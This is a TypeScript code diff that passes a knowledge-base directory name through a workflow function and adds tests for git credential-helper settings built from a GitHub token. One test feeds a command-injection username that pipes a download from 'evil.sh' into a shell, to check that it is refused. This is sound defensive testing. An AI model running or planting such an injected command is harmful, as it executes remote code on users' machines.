workspaceDir = h.workspaceDir;
|
|
141
141
|
|
|
142
142
|
await expect(
|
|
143
|
-
rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, [
|
|
143
|
+
rejectPathsLocked(h.workflow, h.diff, WORKSPACE_ID, USER, 'knowledge-base', [
|
|
144
144
|
'knowledge-base/a.md',
|
|
145
145
|
]),
|
|
146
146
|
).rejects.toBeInstanceOf(WorkflowValidationError);
|
|
@@ -45,6 +45,7 @@ export async function rejectPathsLocked(
|
|
|
45
45
|
diffService: IDiffService,
|
|
46
46
|
workspaceId: string,
|
|
47
47
|
user: AuthUser,
|
|
48
|
+
kbDirName: string,
|
|
48
49
|
paths: string[],
|
|
49
50
|
): Promise<void> {
|
|
50
51
|
if (paths.length === 0) return;
|
|
@@ -54,7 +55,7 @@ export async function rejectPathsLocked(
|
|
|
54
55
|
if (total === 0) return;
|
|
55
56
|
const lockingFs = new LockingFilesystem(
|
|
56
57
|
{ basePath: plan.workspaceDir, contained: true },
|
|
57
|
-
{ workflow: workflowService, workspaceId, branch, user },
|
|
58
|
+
{ workflow: workflowService, workspaceId, branch, user, kbDirName },
|
|
58
59
|
);
|
|
59
60
|
try {
|
|
60
61
|
await lockingFs.writeFiles(
|
|
@@ -265,7 +266,7 @@ export function createDiffRoutes(
|
|
|
265
266
|
current?.changes.map((c) => c.path) ?? [],
|
|
266
267
|
);
|
|
267
268
|
}
|
|
268
|
-
await rejectPathsLocked(workflowService, diffService, req.params.id, user, paths);
|
|
269
|
+
await rejectPathsLocked(workflowService, diffService, req.params.id, user, kbDirName, paths);
|
|
269
270
|
res.json({ session: await diffService.currentSession(req.params.id) });
|
|
270
271
|
} catch (err) {
|
|
271
272
|
const { status, body } = toHttpError(err);
|
|
@@ -1,5 +1,11 @@
|
|
|
1
|
-
import { describe, it, expect } from 'vitest';
|
|
2
|
-
import {
|
|
1
|
+
import { describe, it, expect, afterEach } from 'vitest';
|
|
2
|
+
import {
|
|
3
|
+
cloneCredentialArgs,
|
|
4
|
+
cloneCredentialConfigArgs,
|
|
5
|
+
cloneTrackingConfigArgs,
|
|
6
|
+
credentialHelperValue,
|
|
7
|
+
ORIGIN_FETCH_REFSPEC,
|
|
8
|
+
} from '../clone-config.js';
|
|
3
9
|
|
|
4
10
|
describe('cloneTrackingConfigArgs', () => {
|
|
5
11
|
// A slashed draft name is the everyday case (`<email-localpart>/<slug>`), and
|
|
@@ -13,3 +19,58 @@ describe('cloneTrackingConfigArgs', () => {
|
|
|
13
19
|
]);
|
|
14
20
|
});
|
|
15
21
|
});
|
|
22
|
+
|
|
23
|
+
describe('credential config', () => {
|
|
24
|
+
const ORIGINAL = process.env.GITHUB_TOKEN;
|
|
25
|
+
afterEach(() => {
|
|
26
|
+
if (ORIGINAL === undefined) delete process.env.GITHUB_TOKEN;
|
|
27
|
+
else process.env.GITHUB_TOKEN = ORIGINAL;
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
it('reads the token from the environment at call time, never inlining its value', () => {
|
|
31
|
+
process.env.GITHUB_TOKEN = 'ghp_supersecret';
|
|
32
|
+
const helper = credentialHelperValue('x-access-token');
|
|
33
|
+
expect(helper).toContain('password=$GITHUB_TOKEN');
|
|
34
|
+
expect(helper).not.toContain('ghp_supersecret');
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
it('with no token: clones get no helper, and existing clones get theirs UNSET', () => {
|
|
38
|
+
delete process.env.GITHUB_TOKEN;
|
|
39
|
+
expect(credentialHelperValue('x-access-token')).toBeNull();
|
|
40
|
+
// A fresh clone simply carries nothing…
|
|
41
|
+
expect(cloneCredentialArgs('x-access-token')).toEqual([]);
|
|
42
|
+
// …but an adopted clone may carry a helper from when a token WAS
|
|
43
|
+
// configured, and that stale helper (answering with an empty password)
|
|
44
|
+
// would shadow whatever auth the operator fell back to — so the repair
|
|
45
|
+
// path removes it. Callers run this tolerantly: unset of a missing key
|
|
46
|
+
// exits non-zero and is the expected no-op.
|
|
47
|
+
expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
|
|
48
|
+
['config', '--unset-all', 'credential.helper', 'password=\\$GITHUB_TOKEN'],
|
|
49
|
+
]);
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
it('passes the clone form as --config, which git only honours AFTER the subcommand', () => {
|
|
53
|
+
process.env.GITHUB_TOKEN = 'ghp_x';
|
|
54
|
+
// Pinned exactly: `-c` here instead of `--config` still authenticates the
|
|
55
|
+
// clone but writes nothing into the new repo, which is the bug this guards.
|
|
56
|
+
expect(cloneCredentialArgs('oauth2')).toEqual([
|
|
57
|
+
'--config',
|
|
58
|
+
`credential.helper=${credentialHelperValue('oauth2')}`,
|
|
59
|
+
]);
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
it('replaces rather than appends when re-stamping — scoped to app-owned values only', () => {
|
|
63
|
+
process.env.GITHUB_TOKEN = 'ghp_x';
|
|
64
|
+
// The trailing value-pattern is what keeps an operator's own clone-local
|
|
65
|
+
// helper (store/cache/custom) out of reach of both the replace and the
|
|
66
|
+
// unset — git only touches values matching it.
|
|
67
|
+
expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
|
|
68
|
+
['config', '--replace-all', 'credential.helper', credentialHelperValue('x-access-token'), 'password=\\$GITHUB_TOKEN'],
|
|
69
|
+
]);
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
it('refuses a username that would break out of the helper snippet', () => {
|
|
73
|
+
process.env.GITHUB_TOKEN = 'ghp_x';
|
|
74
|
+
expect(() => credentialHelperValue('me"; curl evil.sh | sh; #')).toThrow(/must match/);
|
|
75
|
+
});
|
|
76
|
+
});
|